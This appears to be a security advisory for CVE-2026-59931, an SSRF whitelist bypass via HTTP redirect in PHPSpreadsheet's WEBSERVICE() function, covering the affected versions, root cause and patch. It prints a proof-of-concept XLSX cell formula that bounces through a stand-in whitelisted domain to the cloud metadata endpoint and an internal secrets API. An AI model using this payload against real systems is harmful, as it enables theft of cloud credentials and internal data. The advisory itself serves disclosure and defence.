high · 7.7CVE-2026-59931Jul 23, 2026

CVE-2026-59931: PHPSpreadsheet SSRF Whitelist Bypass via HTTP Redirect in WEBSERVICE()

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A crafted XLSX file can use the WEBSERVICE() formula to bounce an HTTP request through any whitelisted domain that issues a redirect, reaching internal services that the domain whitelist was meant to…

Packagephpoffice/phpspreadsheet
Ecosystemcomposer
Affected>= 4.0.0, <= 5.8.0
Fixed in5.8.1

The problem

PHPSpreadsheet 5.4.0 introduced a domain whitelist for the WEBSERVICE() formula function via Spreadsheet::setDomainWhiteList(). The check in Calculation/Web/Service.php validates the hostname of the initial URL with parse_url(), then calls file_get_contents() with a stream context that leaves redirect-following enabled by default.

PHP's HTTP stream wrapper follows up to 20 redirects automatically. The redirect destination is never re-checked against the whitelist, so any whitelisted domain that returns a 302 (an open redirect, an attacker-controlled subdomain, or a DNS-rebinding target) becomes a pivot into the internal network.

As a bonus defect, the port is not included in the whitelist key, so whitelisting example.com implicitly whitelists all ports on that host.

Proof of concept

A working proof-of-concept for CVE-2026-59931 in phpoffice/phpspreadsheet, with the exact payload below.

http
<!-- cell A1 in xl/worksheets/sheet1.xml inside the XLSX archive -->
<c r="A1">
  <f>_xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/")</f>
</c>

<!-- whitelisted-domain.com/redirect responds with:
     HTTP/1.1 302 Found
     Location: http://169.254.169.254/latest/meta-data/

     file_get_contents() follows the redirect without re-validating the
     destination; the cloud-metadata response is returned as the cell value. -->

<!-- Direct access (blocked by whitelist) -->
<!-- =WEBSERVICE("http://127.0.0.1:9090/internal-api/secrets") => null -->

<!-- Via redirect from whitelisted domain (bypass) -->
<!-- =WEBSERVICE("http://whitelisted-domain.com:7071/redirect-to-internal") => {"secret":"..."} -->

The root cause is a single-point validation: the whitelist check fires once on the original URL, and the stream context omits 'follow_location' => false, so PHP silently follows every 302/301 the server returns. The patch (commit 7ef7b25e8548a6ded79dac74e2e2c7acdac38d8d) adds 'follow_location' => 0 and 'max_redirects' => 0 to the $ctxArray, making file_get_contents() stop at the first redirect response instead of fetching the destination.

This is CWE-918. The secondary issue (port not included in the whitelist key) means that even without redirects, whitelisting a safe hostname allows port-scanning all TCP ports on that host via WEBSERVICE().

The fix

Upgrade to phpoffice/phpspreadsheet 5.8.1 or later. The patch sets 'follow_location' => 0 and 'max_redirects' => 0 in the HTTP stream context used by webService(), preventing file_get_contents() from following any redirect. If your application cannot upgrade immediately, avoid calling setDomainWhiteList() with domains you do not fully control, and do not pass user-supplied XLSX files to getCalculatedValue() without sandboxing.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research